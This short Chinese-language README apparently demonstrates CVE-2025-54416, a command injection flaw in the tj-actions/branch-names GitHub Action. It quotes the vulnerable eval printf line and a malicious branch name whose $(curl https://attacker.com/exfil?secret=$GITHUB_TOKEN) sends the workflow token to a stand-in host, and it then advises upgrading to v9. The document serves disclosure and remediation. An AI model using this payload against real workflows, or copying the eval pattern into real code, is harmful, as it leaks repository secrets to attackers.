该仓库演示了 CVE-2025-54416,这是 tj-actions/branch-names 中的一个严重命令注入漏洞,影响超过 5000 个公共仓库。
tj-actions/branch-names GitHub Action(版本 <= 8.2.1)使用了不安全的 eval printf "%s",这在实际清理后重新引入了命令注入风险。
# tj-actions/branch-names 中的漏洞代码模式:
echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"
tj-actions/[email protected] 提取分支名称分支名称:main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN)
当工作流运行时:
echo "IMAGE_TAG=${{ steps.branch-name.outputs.current_branch }}"
# 实际输出:IMAGE_TAG=main$(curl https://attacker.com/exfil?secret=$GITHUB_TOKEN)
# $(...) 被 shell 评估,导致 GITHUB_TOKEN 泄露
更新到 tj-actions/branch-names@v9 或更高版本,该版本将 eval printf "%s" 替换为安全的 printf 调用。